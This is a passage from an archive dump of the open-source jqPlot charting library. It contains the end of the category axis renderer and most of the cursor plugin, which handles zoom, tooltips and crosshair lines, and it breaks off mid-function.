tick._elem.outerHeight(true); } else { temp = tick._elem.outerWidth(true); } if (temp > dim) { dim = temp; } } } var dim2 = 0; for (var i=0; i<this._groupLabels.length; i++) { var l = this._groupLabels[i]; if (this.name == 'xaxis' || this.name == 'x2axis') { temp = l.outerHeight(true); } else { temp = l.outerWidth(true); } if (temp > dim2) { dim2 = temp; } } if (lshow) { w = this._label._elem.outerWidth(true); h = this._label._elem.outerHeight(true); } if (this.name == 'xaxis') { dim += dim2 + h; this._elem.css({'height':dim+'px', left:'0px', bottom:'0px'}); } else if (this.name == 'x2axis') { dim += dim2 + h; this._elem.css({'height':dim+'px', left:'0px', top:'0px'}); } else if (this.name == 'yaxis') { dim += dim2 + w; this._elem.css({'width':dim+'px', left:'0px', top:'0px'}); if (lshow && this._label.constructor == $.jqplot.AxisLabelRenderer) { this._label._elem.css('width', w+'px'); } } else { dim += dim2 + w; this._elem.css({'width':dim+'px', right:'0px', top:'0px'}); if (lshow && this._label.constructor == $.jqplot.AxisLabelRenderer) { this._label._elem.css('width', w+'px'); } } } }; // called with scope of axis $.jqplot.CategoryAxisRenderer.prototype.pack = function(pos, offsets) { var ticks = this._ticks; var max = this.max; var min = this.min; var offmax = offsets.max; var offmin = offsets.min; var lshow = (this._label == null) ? false : this._label.show; var i; for (var p in pos) { this._elem.css(p, pos[p]); } this._offsets = offsets; // pixellength will be + for x axes and - for y axes becasue pixels always measured from top left. var pixellength = offmax - offmin; var unitlength = max - min; if (!this.reverse) { // point to unit and unit to point conversions references to Plot DOM element top left corner. this.u2p = function(u){ return (u - min) * pixellength / unitlength + offmin; }; this.p2u = function(p){ return (p - offmin) * unitlength / pixellength + min; }; if (this.name == 'xaxis' || this.name == 'x2axis'){ this.series_u2p = function(u){ return (u - min) * pixellength / unitlength; }; this.series_p2u = function(p){ return p * unitlength / pixellength + min; }; } else { this.series_u2p = function(u){ return (u - max) * pixellength / unitlength; }; this.series_p2u = function(p){ return p * unitlength / pixellength + max; }; } } else { // point to unit and unit to point conversions references to Plot DOM element top left corner. this.u2p = function(u){ return offmin + (max - u) * pixellength / unitlength; }; this.p2u = function(p){ return min + (p - offmin) * unitlength / pixellength; }; if (this.name == 'xaxis' || this.name == 'x2axis'){ this.series_u2p = function(u){ return (max - u) * pixellength / unitlength; }; this.series_p2u = function(p){ return p * unitlength / pixellength + max; }; } else { this.series_u2p = function(u){ return (min - u) * pixellength / unitlength; }; this.series_p2u = function(p){ return p * unitlength / pixellength + min; }; } } if (this.show) { if (this.name == 'xaxis' || this.name == 'x2axis') { for (i=0; i<ticks.length; i++) { var t = ticks[i]; if (t.show && t.showLabel) { var shim; if (t.constructor == $.jqplot.CanvasAxisTickRenderer && t.angle) { // will need to adjust auto positioning based on which axis this is. var temp = (this.name == 'xaxis') ? 1 : -1; switch (t.labelPosition) { case 'auto': // position at end if (temp * t.angle < 0) { shim = -t.getWidth() + t._textRenderer.height * Math.sin(-t._textRenderer.angle) / 2; } // position at start else { shim = -t._textRenderer.height * Math.sin(t._textRenderer.angle) / 2; } break; case 'end': shim = -t.getWidth() + t._textRenderer.height * Math.sin(-t._textRenderer.angle) / 2; break; case 'start': shim = -t._textRenderer.height * Math.sin(t._textRenderer.angle) / 2; break; case 'middle': shim = -t.getWidth()/2 + t._textRenderer.height * Math.sin(-t._textRenderer.angle) / 2; break; default: shim = -t.getWidth()/2 + t._textRenderer.height * Math.sin(-t._textRenderer.angle) / 2; break; } } else { shim = -t.getWidth()/2; } var val = this.u2p(t.value) + shim + 'px'; t._elem.css('left', val); t.pack(); } } var labeledge=['bottom', 0]; if (lshow) { var w = this._label._elem.outerWidth(true); this._label._elem.css('left', offmin + pixellength/2 - w/2 + 'px'); if (this.name == 'xaxis') { this._label._elem.css('bottom', '0px'); labeledge = ['bottom', this._label._elem.outerHeight(true)]; } else { this._label._elem.css('top', '0px'); labeledge = ['top', this._label._elem.outerHeight(true)]; } this._label.pack(); } // draw the group labels var step = parseInt(this._ticks.length/this.groups, 10) + 1; for (i=0; i<this._groupLabels.length; i++) { var mid = 0; var count = 0; for (var j=i*step; j<(i+1)*step; j++) { if (j >= this._ticks.length-1) continue; // the last tick does not exist as there is no other group in order to have an empty one. if (this._ticks[j]._elem && this._ticks[j].label != " ") { var t = this._ticks[j]._elem; var p = t.position(); mid += p.left + t.outerWidth(true)/2; count++; } } mid = mid/count; this._groupLabels[i].css({'left':(mid - this._groupLabels[i].outerWidth(true)/2)}); this._groupLabels[i].css(labeledge[0], labeledge[1]); } } else { for (i=0; i<ticks.length; i++) { var t = ticks[i]; if (t.show && t.showLabel) { var shim; if (t.constructor == $.jqplot.CanvasAxisTickRenderer && t.angle) { // will need to adjust auto positioning based on which axis this is. var temp = (this.name == 'yaxis') ? 1 : -1; switch (t.labelPosition) { case 'auto': // position at end case 'end': if (temp * t.angle < 0) { shim = -t._textRenderer.height * Math.cos(-t._textRenderer.angle) / 2; } else { shim = -t.getHeight() + t._textRenderer.height * Math.cos(t._textRenderer.angle) / 2; } break; case 'start': if (t.angle > 0) { shim = -t._textRenderer.height * Math.cos(-t._textRenderer.angle) / 2; } else { shim = -t.getHeight() + t._textRenderer.height * Math.cos(t._textRenderer.angle) / 2; } break; case 'middle': // if (t.angle > 0) { // shim = -t.getHeight()/2 + t._textRenderer.height * Math.sin(-t._textRenderer.angle) / 2; // } // else { // shim = -t.getHeight()/2 - t._textRenderer.height * Math.sin(t._textRenderer.angle) / 2; // } shim = -t.getHeight()/2; break; default: shim = -t.getHeight()/2; break; } } else { shim = -t.getHeight()/2; } var val = this.u2p(t.value) + shim + 'px'; t._elem.css('top', val); t.pack(); } } var labeledge=['left', 0]; if (lshow) { var h = this._label._elem.outerHeight(true); this._label._elem.css('top', offmax - pixellength/2 - h/2 + 'px'); if (this.name == 'yaxis') { this._label._elem.css('left', '0px'); labeledge = ['left', this._label._elem.outerWidth(true)]; } else { this._label._elem.css('right', '0px'); labeledge = ['right', this._label._elem.outerWidth(true)]; } this._label.pack(); } // draw the group labels, position top here, do left after label position. var step = parseInt(this._ticks.length/this.groups, 10) + 1; // step is one more than before as we don't want to have overlaps in loops for (i=0; i<this._groupLabels.length; i++) { var mid = 0; var count = 0; for (var j=i*step; j<(i+1)*step; j++) { // j must never reach (i+1)*step as we don't want to have overlap between loops if (j >= this._ticks.length-1) continue; // the last tick does not exist as there is no other group in order to have an empty one. if (this._ticks[j]._elem && this._ticks[j].label != " ") { var t = this._ticks[j]._elem; var p = t.position(); mid += p.top + t.outerHeight()/2; count++; } } mid = mid/count; this._groupLabels[i].css({'top':mid - this._groupLabels[i].outerHeight()/2}); this._groupLabels[i].css(labeledge[0], labeledge[1]); } } } }; })(jQuery); ����������������������������������������������������������������������������������������������������������vendor/jqplot/plugins/jqplot.cursor.js��������������������������������������������������������������0000666�����������������00000136306�15172447206�0014243 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/** * jqPlot * Pure JavaScript plotting plugin using jQuery * * Version: 1.0.9 * Revision: dff2f04 * * Copyright (c) 2009-2016 Chris Leonello * jqPlot is currently available for use in all personal or commercial projects * under both the MIT (http://www.opensource.org/licenses/mit-license.php) and GPL * version 2.0 (http://www.gnu.org/licenses/gpl-2.0.html) licenses. This means that you can * choose the license that best suits your project and use it accordingly. * * Although not required, the author would appreciate an email letting him * know of any substantial use of jqPlot. You can reach the author at: * chris at jqplot dot com or see http://www.jqplot.com/info.php . * * If you are feeling kind and generous, consider supporting the project by * making a donation at: http://www.jqplot.com/donate.php . * * sprintf functions contained in jqplot.sprintf.js by Ash Searle: * * version 2007.04.27 * author Ash Searle * http://hexmen.com/blog/2007/03/printf-sprintf/ * http://hexmen.com/js/sprintf.js * The author (Ash Searle) has placed this code in the public domain: * "This code is unrestricted: you are free to use it however you like." * */ (function($) { /** * Class: $.jqplot.Cursor * Plugin class representing the cursor as displayed on the plot. */ $.jqplot.Cursor = function(options) { // Group: Properties // // prop: style // CSS spec for cursor style this.style = 'crosshair'; this.previousCursor = 'auto'; // prop: show // whether to show the cursor or not. this.show = $.jqplot.config.enablePlugins; // prop: showTooltip // show a cursor position tooltip. Location of the tooltip // will be controlled by followMouse and tooltipLocation. this.showTooltip = true; // prop: followMouse // Tooltip follows the mouse, it is not at a fixed location. // Tooltip will show on the grid at the location given by // tooltipLocation, offset from the grid edge by tooltipOffset. this.followMouse = false; // prop: tooltipLocation // Where to position tooltip. If followMouse is true, this is // relative to the cursor, otherwise, it is relative to the grid. // One of 'n', 'ne', 'e', 'se', 's', 'sw', 'w', 'nw' this.tooltipLocation = 'se'; // prop: tooltipOffset // Pixel offset of tooltip from the grid boudaries or cursor center. this.tooltipOffset = 6; // prop: showTooltipGridPosition // show the grid pixel coordinates of the mouse. this.showTooltipGridPosition = false; // prop: showTooltipUnitPosition // show the unit (data) coordinates of the mouse. this.showTooltipUnitPosition = true; // prop: showTooltipDataPosition // Used with showVerticalLine to show intersecting data points in the tooltip. this.showTooltipDataPosition = false; // prop: tooltipFormatString // sprintf format string for the tooltip. // Uses Ash Searle's javascript sprintf implementation // found here: http://hexmen.com/blog/2007/03/printf-sprintf/ // See http://perldoc.perl.org/functions/sprintf.html for reference // Note, if showTooltipDataPosition is true, the default tooltipFormatString // will be set to the cursorLegendFormatString, not the default given here. this.tooltipFormatString = '%.4P, %.4P'; // prop: useAxesFormatters // Use the x and y axes formatters to format the text in the tooltip. this.useAxesFormatters = true; // prop: tooltipAxisGroups // Show position for the specified axes. // This is an array like [['xaxis', 'yaxis'], ['xaxis', 'y2axis']] // Default is to compute automatically for all visible axes. this.tooltipAxisGroups = []; // prop: zoom // Enable plot zooming. this.zoom = false; // zoomProxy and zoomTarget properties are not directly set by user. // They Will be set through call to zoomProxy method. this.zoomProxy = false; this.zoomTarget = false; // prop: looseZoom // Will expand zoom range to provide more rounded tick values. // Works only with linear, log and date axes. this.looseZoom = true; // prop: clickReset // Will reset plot zoom if single click on plot without drag. this.clickReset = false; // prop: dblClickReset // Will reset plot zoom if double click on plot without drag. this.dblClickReset = true; // prop: showVerticalLine // draw a vertical line across the plot which follows the cursor. // When the line is near a data point, a special legend and/or tooltip can // be updated with the data values. this.showVerticalLine = false; // prop: showHorizontalLine // draw a horizontal line across the plot which follows the cursor. this.showHorizontalLine = false; // prop: constrainZoomTo // 'none', 'x' or 'y' this.constrainZoomTo = 'none'; // // prop: autoscaleConstraint // // when a constrained axis is specified, true will // // auatoscale the adjacent axis. // this.autoscaleConstraint = true; this.shapeRenderer = new $.jqplot.ShapeRenderer(); this._zoom = {start:[], end:[], started: false, zooming:false, isZoomed:false, axes:{start:{}, end:{}}, gridpos:{}, datapos:{}}; this._tooltipElem; this.zoomCanvas; this.cursorCanvas; // prop: intersectionThreshold // pixel distance from data point or marker to consider cursor lines intersecting with point. // If data point markers are not shown, this should be >= 1 or will often miss point intersections. this.intersectionThreshold = 2; // prop: showCursorLegend // Replace the plot legend with an enhanced legend displaying intersection information. this.showCursorLegend = false; // prop: cursorLegendFormatString // Format string used in the cursor legend. If showTooltipDataPosition is true, // this will also be the default format string used by tooltipFormatString. this.cursorLegendFormatString = $.jqplot.Cursor.cursorLegendFormatString; // whether the cursor is over the grid or not. this._oldHandlers = {onselectstart: null, ondrag: null, onmousedown: null}; // prop: constrainOutsideZoom // True to limit actual zoom area to edges of grid, even when zooming // outside of plot area. That is, can't zoom out by mousing outside plot. this.constrainOutsideZoom = true; // prop: showTooltipOutsideZoom // True will keep updating the tooltip when zooming of the grid. this.showTooltipOutsideZoom = false; // true if mouse is over grid, false if not. this.onGrid = false; $.extend(true, this, options); }; $.jqplot.Cursor.cursorLegendFormatString = '%s x:%s, y:%s'; // called with scope of plot $.jqplot.Cursor.init = function (target, data, opts){ // add a cursor attribute to the plot var options = opts || {}; this.plugins.cursor = new $.jqplot.Cursor(options.cursor); var c = this.plugins.cursor; if (c.show) { $.jqplot.eventListenerHooks.push(['jqplotMouseEnter', handleMouseEnter]); $.jqplot.eventListenerHooks.push(['jqplotMouseLeave', handleMouseLeave]); $.jqplot.eventListenerHooks.push(['jqplotMouseMove', handleMouseMove]); if (c.showCursorLegend) { opts.legend = opts.legend || {}; opts.legend.renderer = $.jqplot.CursorLegendRenderer; opts.legend.formatString = this.plugins.cursor.cursorLegendFormatString; opts.legend.show = true; } if (c.zoom) { $.jqplot.eventListenerHooks.push(['jqplotMouseDown', handleMouseDown]); if (c.clickReset) { $.jqplot.eventListenerHooks.push(['jqplotClick', handleClick]); } if (c.dblClickReset) { $.jqplot.eventListenerHooks.push(['jqplotDblClick', handleDblClick]); } } this.resetZoom = function() { var axes = this.axes; if (!c.zoomProxy) { for (var ax in axes) { axes[ax].reset(); axes[ax]._ticks = []; // fake out tick creation algorithm to make sure original auto // computed format string is used if _overrideFormatString is true if (c._zoom.axes[ax] !== undefined) { axes[ax]._autoFormatString = c._zoom.axes[ax].tickFormatString; } } this.redraw(); } else { var ctx = this.plugins.cursor.zoomCanvas._ctx; ctx.clearRect(0,0,ctx.canvas.width, ctx.canvas.height); ctx = null; } this.plugins.cursor._zoom.isZoomed = false; this.target.trigger('jqplotResetZoom', [this, this.plugins.cursor]); }; if (c.showTooltipDataPosition) { c.showTooltipUnitPosition = false; c.showTooltipGridPosition = false; if (options.cursor.tooltipFormatString == undefined) { c.tooltipFormatString = $.jqplot.Cursor.cursorLegendFormatString; } } } }; // called with context of plot $.jqplot.Cursor.postDraw = function() { var c = this.plugins.cursor; // Memory Leaks patch if (c.zoomCanvas) { c.zoomCanvas.resetCanvas(); c.zoomCanvas = null; } if (c.cursorCanvas) { c.cursorCanvas.resetCanvas(); c.cursorCanvas = null; } if (c._tooltipElem) { c._tooltipElem.emptyForce(); c._tooltipElem = null; } if (c.zoom) { c.zoomCanvas = new $.jqplot.GenericCanvas(); this.eventCanvas._elem.before(c.zoomCanvas.createElement(this._gridPadding, 'jqplot-zoom-canvas', this._plotDimensions, this)); c.zoomCanvas.setContext(); } var elem = document.createElement('div'); c._tooltipElem = $(elem); elem = null; c._tooltipElem.addClass('jqplot-cursor-tooltip'); c._tooltipElem.css({position:'absolute', display:'none'}); if (c.zoomCanvas) { c.zoomCanvas._elem.before(c._tooltipElem); } else { this.eventCanvas._elem.before(c._tooltipElem); } if (c.showVerticalLine || c.showHorizontalLine) { c.cursorCanvas = new $.jqplot.GenericCanvas(); this.eventCanvas._elem.before(c.cursorCanvas.createElement(this._gridPadding, 'jqplot-cursor-canvas', this._plotDimensions, this)); c.cursorCanvas.setContext(); } // if we are showing the positions in unit coordinates, and no axes groups // were specified, create a default set. if (c.showTooltipUnitPosition){ if (c.tooltipAxisGroups.length === 0) { var series = this.series; var s; var temp = []; for (var i=0; i<series.length; i++) { s = series[i]; var ax = s.xaxis+','+s.yaxis; if ($.inArray(ax, temp) == -1) { temp.push(ax); } } for (var i=0; i<temp.length; i++) { c.tooltipAxisGroups.push(temp[i].split(',')); } } } }; // Group: methods // // method: $.jqplot.Cursor.zoomProxy // links targetPlot to controllerPlot so that plot zooming of // targetPlot will be controlled by zooming on the controllerPlot. // controllerPlot will not actually zoom, but acts as an // overview plot. Note, the zoom options must be set to true for // zoomProxy to work. $.jqplot.Cursor.zoomProxy = function(targetPlot, controllerPlot) { var tc = targetPlot.plugins.cursor; var cc = controllerPlot.plugins.cursor; tc.zoomTarget = true; tc.zoom = true; tc.style = 'auto'; tc.dblClickReset = false; cc.zoom = true; cc.zoomProxy = true; controllerPlot.target.bind('jqplotZoom', plotZoom); controllerPlot.target.bind('jqplotResetZoom', plotReset); function plotZoom(ev, gridpos, datapos, plot, cursor) { tc.doZoom(gridpos, datapos, targetPlot, cursor); } function plotReset(ev, plot, cursor) { targetPlot.resetZoom(); } }; $.jqplot.Cursor.prototype.resetZoom = function(plot, cursor) { var axes = plot.axes; var cax = cursor._zoom.axes; if (!plot.plugins.cursor.zoomProxy && cursor._zoom.isZoomed) { for (var ax in axes) { // axes[ax]._ticks = []; // axes[ax].min = cax[ax].min; // axes[ax].max = cax[ax].max; // axes[ax].numberTicks = cax[ax].numberTicks; // axes[ax].tickInterval = cax[ax].tickInterval; // // for date axes // axes[ax].daTickInterval = cax[ax].daTickInterval; axes[ax].reset(); axes[ax]._ticks = []; // fake out tick creation algorithm to make sure original auto // computed format string is used if _overrideFormatString is true axes[ax]._autoFormatString = cax[ax].tickFormatString; } plot.redraw(); cursor._zoom.isZoomed = false; } else { var ctx = cursor.zoomCanvas._ctx; ctx.clearRect(0,0,ctx.canvas.width, ctx.canvas.height); ctx = null; } plot.target.trigger('jqplotResetZoom', [plot, cursor]); }; $.jqplot.Cursor.resetZoom = function(plot) { plot.resetZoom(); }; $.jqplot.Cursor.prototype.doZoom = function (gridpos, datapos, plot, cursor) { var c = cursor; var axes = plot.axes; var zaxes = c._zoom.axes; var start = zaxes.start; var end = zaxes.end; var min, max, dp, span, newmin, newmax, curax, _numberTicks, ret; var ctx = plot.plugins.cursor.zoomCanvas._ctx; // don't zoom if zoom area is too small (in pixels) if ((c.constrainZoomTo == 'none' && Math.abs(gridpos.x - c._zoom.start[0]) > 6 && Math.abs(gridpos.y - c._zoom.start[1]) > 6) || (c.constrainZoomTo == 'x' && Math.abs(gridpos.x - c._zoom.start[0]) > 6) || (c.constrainZoomTo == 'y' && Math.abs(gridpos.y - c._zoom.start[1]) > 6)) { if (!plot.plugins.cursor.zoomProxy) { for (var ax in datapos) { // make a copy of the original axes to revert back. if (c._zoom.axes[ax] == undefined) { c._zoom.axes[ax] = {}; c._zoom.axes[ax].numberTicks = axes[ax].numberTicks; c._zoom.axes[ax].tickInterval = axes[ax].tickInterval; // for date axes... c._zoom.axes[ax].daTickInterval = axes[ax].daTickInterval; c._zoom.axes[ax].min = axes[ax].min; c._zoom.axes[ax].max = axes[ax].max; c._zoom.axes[ax].tickFormatString = (axes[ax].tickOptions != null) ? axes[ax].tickOptions.formatString : ''; } if ((c.constrainZoomTo == 'none') || (c.constrainZoomTo == 'x' && ax.charAt(0) == 'x') || (c.constrainZoomTo == 'y' && ax.charAt(0) == 'y')) { dp = datapos[ax]; if (dp != null) { if (dp > start[ax]) { newmin = start[ax]; newmax = dp; } else { span = start[ax] - dp; newmin = dp; newmax = start[ax]; } curax = axes[ax]; _numberTicks = null; // if aligning this axis, use number of ticks from previous axis. // Do I need to reset somehow if alignTicks is changed and then graph is replotted?? if (curax.alignTicks) { if (curax.name === 'x2axis' && plot.axes.xaxis.show) { _numberTicks = plot.axes.xaxis.numberTicks; } else if (curax.name.charAt(0) === 'y' && curax.name !== 'yaxis' && curax.name !== 'yMidAxis' && plot.axes.yaxis.show) { _numberTicks = plot.axes.yaxis.numberTicks; } } if (this.looseZoom && (axes[ax].renderer.constructor === $.jqplot.LinearAxisRenderer || axes[ax].renderer.constructor === $.jqplot.LogAxisRenderer )) { //} || axes[ax].renderer.constructor === $.jqplot.DateAxisRenderer)) { ret = $.jqplot.LinearTickGenerator(newmin, newmax, curax._scalefact, _numberTicks); // if new minimum is less than "true" minimum of axis display, adjust it if (axes[ax].tickInset && ret[0] < axes[ax].min + axes[ax].tickInset * axes[ax].tickInterval) { ret[0] += ret[4]; ret[2] -= 1; } // if new maximum is greater than "true" max of axis display, adjust it if (axes[ax].tickInset && ret[1] > axes[ax].max - axes[ax].tickInset * axes[ax].tickInterval) { ret[1] -= ret[4]; ret[2] -= 1; } // for log axes, don't fall below current minimum, this will look bad and can't have 0 in range anyway. if (axes[ax].renderer.constructor === $.jqplot.LogAxisRenderer && ret[0] < axes[ax].min) { // remove a tick and shift min up ret[0] += ret[4]; ret[2] -= 1; } axes[ax].min = ret[0]; axes[ax].max = ret[1]; axes[ax]._autoFormatString = ret[3]; axes[ax].numberTicks = ret[2]; axes[ax].tickInterval = ret[4]; // for date axes... axes[ax].daTickInterval = [ret[4]/1000, 'seconds']; } else { axes[ax].min = newmin; axes[ax].max = newmax; axes[ax].tickInterval = null; axes[ax].numberTicks = null; // for date axes... axes[ax].daTickInterval = null; } axes[ax]._ticks = []; } } } for (var ax in datapos) { if ((c.constrainZoomTo == 'x' && ax.charAt(0) == 'y' && c.autoscaleConstraint)) { dp = datapos[ax]; if (dp != null) { curax = axes[ax]; curax.min = axes[ax]._options.min; curax.max = axes[ax]._options.max; if (axes[ax]._options.min == null || axes[ax]._options.max == null) { var seriesMin = null; var seriesMax = null; $.each(plot.series, function(seriesIdx, seriesObj) { if (seriesObj.yaxis == ax) { var xaxis = axes[seriesObj.xaxis]; var i; var d = seriesObj._plotData; for (i = 0; i < d.length; i++) { var point = d[i]; if (point[0] >= xaxis.min && point[0] <= xaxis.max) { if (seriesMin == null || point[1] < seriesMin) { seriesMin = point[1]; } if (seriesMax == null || point[1] > seriesMax) { seriesMax = point[1]; } } } } }); if (axes[ax]._options.min != null) { seriesMin = axes[ax]._options.min; } if (axes[ax]._options.max != null) { seriesMax = axes[ax]._options.max; } var r = $.jqplot.LinearTickGenerator(seriesMin, seriesMax, null, null, (axes[ax]._options.min != null), (axes[ax]._options.max != null)); curax.min = r[0]; curax.max = r[1]; curax.tickInterval = null; curax.numberTicks = null; } } } } ctx.clearRect(0,0,ctx.canvas.width, ctx.canvas.height); plot.redraw(); c._zoom.isZoomed = true; ctx = null; } plot.target.trigger('jqplotZoom', [gridpos, datapos, plot, cursor]); } }; $.jqplot.preInitHooks.push($.jqplot.Cursor.init); $.jqplot.postDrawHooks.push($.jqplot.Cursor.postDraw); function updateTooltip(gridpos, datapos, plot) { var c = plot.plugins.cursor; var s = ''; var addbr = false; if (c.showTooltipGridPosition) { s = gridpos.x+', '+gridpos.y; addbr = true; } if (c.showTooltipUnitPosition) { var g; for (var i=0; i<c.tooltipAxisGroups.length; i++) { g = c.tooltipAxisGroups[i]; if (addbr) { s += '<br />'; } if (c.useAxesFormatters) { for (var j=0; j<g.length; j++) { if (j) { s += ', '; } var af = plot.axes[g[j]]._ticks[0].formatter; var afstr = plot.axes[g[j]]._ticks[0].formatString; s += af(afstr, datapos[g[j]]); } } else { s += $.jqplot.sprintf(c.tooltipFormatString, datapos[g[0]], datapos[g[1]]); } addbr = true; } } if (c.showTooltipDataPosition) { var series = plot.series; var ret = getIntersectingPoints(plot, gridpos.x, gridpos.y); var addbr = false; for (var i = 0; i< series.length; i++) { if (series[i].show) { var idx = series[i].index; var label = series[i].label.toString(); var cellid = $.inArray(idx, ret.indices); var sx = undefined; var sy = undefined; if (cellid != -1) { var data = ret.data[cellid].data; if (c.useAxesFormatters) { var xf = series[i]._xaxis._ticks[0].formatter; var yf = series[i]._yaxis._ticks[0].formatter; var xfstr = series[i]._xaxis._ticks[0].formatString; var yfstr = series[i]._yaxis._ticks[0].formatString; sx = xf(xfstr, data[0]); sy = yf(yfstr, data[1]); } else { sx = data[0]; sy = data[1]; } if (addbr) { s += '<br />'; } s += $.jqplot.sprintf(c.tooltipFormatString, label, sx, sy); addbr = true; } } } } c._tooltipElem.html(s); } function moveLine(gridpos, plot) { var c = plot.plugins.cursor; var ctx = c.cursorCanvas._ctx; ctx.clearRect(0,0,ctx.canvas.width, ctx.canvas.height); if (c.showVerticalLine) { c.shapeRenderer.draw(ctx, [[gridpos.x, 0], [gridpos.x, ctx.canvas.height]]); } if (c.showHorizontalLine) { c.shapeRenderer.draw(ctx, [[0, gridpos.y], [ctx.canvas.width, gridpos.y]]); } var ret = getIntersectingPoints(plot, gridpos.x, gridpos.y); if (c.showCursorLegend) { var cells = $(plot.targetId + ' td.jqplot-cursor-legend-label'); for (var i=0; i<cells.length; i++) { var idx = $(cells[i]).data('seriesIndex'); var series = plot.series[idx]; var label = series.label.toString(); var cellid = $.inArray(idx, ret.indices); var sx = undefined; var sy = undefined; if (cellid != -1) { var data = ret.data[cellid].data; if (c.useAxesFormatters) { var xf = series._xaxis._ticks[0].formatter; var yf = series._yaxis._ticks[0].formatter; var xfstr = series._xaxis._ticks[0].formatString; var yfstr = series._yaxis._ticks[0].formatString; sx = xf(xfstr, data[0]); sy = yf(yfstr, data[1]); } else { sx = data[0]; sy = data[1]; } } if (plot.legend.escapeHtml) { $(cells[i]).text($.jqplot.sprintf(c.cursorLegendFormatString, label, sx, sy)); } else { $(cells[i]).html($.jqplot.sprintf(c.cursorLegendFormatString, label, sx, sy)); } } } ctx = null; } function getIntersectingPoints(plot, x, y) { var ret = {indices:[], data:[]}; var s, i, d0, d, j, r, p; var threshold; var c = plot.plugins.cursor; for (var i=0; i<plot.series.length; i++) { s = plot.series[i]; r = s.renderer; if (s.show) { threshold = c.intersectionThreshold; if (s.showMarker) { threshold += s.markerRenderer.size/2; } for (var j=0; j<s.gridData.length; j++) { p = s.gridData[j]; // check vertical line if (c.showVerticalLine) { if (Math.abs(x-p[0]) <= threshold) { ret.indices.push(i); ret.data.push({seriesIndex: i, pointIndex:j, gridData:p, data:s.data[j]}); } } } } } return ret; } function moveTooltip(gridpos, plot) { var c = plot.plugins.cursor; var elem = c._tooltipElem; switch (c.tooltipLocation) { case 'nw': var x = gridpos.x + plot._gridPadding.left - elem.outerWidth(true) - c.tooltipOffset; var y = gridpos.y + plot._gridPadding.top - c.tooltipOffset - elem.outerHeight(true); break; case 'n': var x = gridpos.x + plot._gridPadding.left - elem.outerWidth(true)/2; var y = gridpos.y + plot._gridPadding.top - c.tooltipOffset - elem.outerHeight(true); break; case 'ne': var x = gridpos.x + plot._gridPadding.left + c.tooltipOffset; var y = gridpos.y + plot._gridPadding.top - c.tooltipOffset - elem.outerHeight(true); break; case 'e': var x = gridpos.x + plot._gridPadding.left + c.tooltipOffset; var y = gridpos.y + plot._gridPadding.top - elem.outerHeight(true)/2; break; case 'se': var x = gridpos.x + plot._gridPadding.left + c.tooltipOffset; var y = gridpos.y + plot._gridPadding.top + c.tooltipOffset; break; case 's': var x = gridpos.x + plot._gridPadding.left - elem.outerWidth(true)/2; var y = gridpos.y + plot._gridPadding.top + c.tooltipOffset; break; case 'sw': var x = gridpos.x + plot._gridPadding.left - elem.outerWidth(true) - c.tooltipOffset; var y = gridpos.y + plot._gridPadding.top + c.tooltipOffset; break; case 'w': var x = gridpos.x + plot._gridPadding.left - elem.outerWidth(true) - c.tooltipOffset; var y = gridpos.y + plot._gridPadding.top - elem.outerHeight(true)/2; break; default: var x = gridpos.x + plot._gridPadding.left + c.tooltipOffset; var y = gridpos.y + plot._gridPadding.top + c.tooltipOffset; break; } elem.css('left', x); elem.css('top', y); elem = null; } function positionTooltip(plot) { // fake a grid for positioning var grid = plot._gridPadding; var c = plot.plugins.cursor; var elem = c._tooltipElem; switch (c.tooltipLocation) { case 'nw': var a = grid.left + c.tooltipOffset; var b = grid.top + c.tooltipOffset; elem.css('left', a); elem.css('top', b); break; case 'n': var a = (grid.left + (plot._plotDimensions.width - grid.right))/2 - elem.outerWidth(true)/2; var b = grid.top + c.tooltipOffset; elem.css('left', a); elem.css('top', b); break; case 'ne': var a = grid.right + c.tooltipOffset; var b = grid.top + c.tooltipOffset; elem.css({right:a, top:b}); break; case 'e': var a = grid.right + c.tooltipOffset; var b = (grid.top + (plot._plotDimensions.height - grid.bottom))/2 - elem.outerHeight(true)/2; elem.css({right:a, top:b}); break; case 'se': var a = grid.right + c.tooltipOffset; var b = grid.bottom + c.tooltipOffset; elem.css({right:a, bottom:b}); break; case 's': var a = (grid.left + (plot._plotDimensions.width - grid.right))/2 - elem.outerWidth(true)/2; var b = grid.bottom + c.tooltipOffset; elem.css({left:a, bottom:b}); break; case 'sw': var a = grid.left + c.tooltipOffset; var b = grid.bottom + c.tooltipOffset; elem.css({left:a, bottom:b}); break; case 'w': var a = grid.left + c.tooltipOffset; var b = (grid.top + (plot._plotDimensions.height - grid.bottom))/2 - elem.outerHeight(true)/2; elem.css({left:a, top:b}); break; default: // same as 'se' var a = grid.right - c.tooltipOffset; var b = grid.bottom + c.tooltipOffset; elem.css({right:a, bottom:b}); break; } elem = null; } function handleClick (ev, gridpos, datapos, neighbor, plot) { ev.preventDefault(); ev.stopImmediatePropagation(); var c = plot.plugins.cursor; if (c.clickReset) { c.resetZoom(plot, c); } var sel = window.getSelection; if (document.selection && document.selection.empty) { document.selection.empty(); } else if (sel && !sel().isCollapsed) { sel().collapse(); } return false; } function handleDblClick (ev, gridpos, datapos, neighbor, plot) { ev.preventDefault(); ev.stopImmediatePropagation(); var c = plot.plugins.cursor; if (c.dblClickReset) { c.resetZoom(plot, c); } var sel = window.getSelection; if (document.selection && document.selection.empty) { document.selection.empty(); } else if (sel && !sel().isCollapsed) { sel().collapse(); } return false; } function handleMouseLeave(ev, gridpos, datapos, neighbor, plot) { var c = plot.plugins.cursor; c.onGrid = false; if (c.show) { $(ev.target).css('cursor', c.previousCursor); if (c.showTooltip && !(c._zoom.zooming && c.showTooltipOutsideZoom && !c.constrainOutsideZoom)) { c._tooltipElem.empty(); c._tooltipElem.hide(); } if (c.zoom) { c._zoom.gridpos = gridpos; c._zoom.datapos = datapos; } if (c.showVerticalLine || c.showHorizontalLine) { var ctx = c.cursorCanvas._ctx; ctx.clearRect(0,0,ctx.canvas.width, ctx.canvas.height); ctx = null; } if (c.showCursorLegend) { var cells = $(plot.targetId + ' td.jqplot-cursor-legend-label'); for (var i=0; i<cells.length; i++) { var idx = $(cells[i]).data('seriesIndex'); var series = plot.series[idx]; var label = series.label.toString(); if (plot.legend.escapeHtml) { $(cells[i]).text($.jqplot.sprintf(c.cursorLegendFormatString, label, undefined, undefined)); } else { $(cells[i]).html($.jqplot.sprintf(c.cursorLegendFormatString, label, undefined, undefined)); } } } } } function handleMouseEnter(ev, gridpos, datapos, neighbor, plot) { var c = plot.plugins.cursor; c.onGrid = true; if (c.show) { c.previousCursor = ev.target.style.cursor; 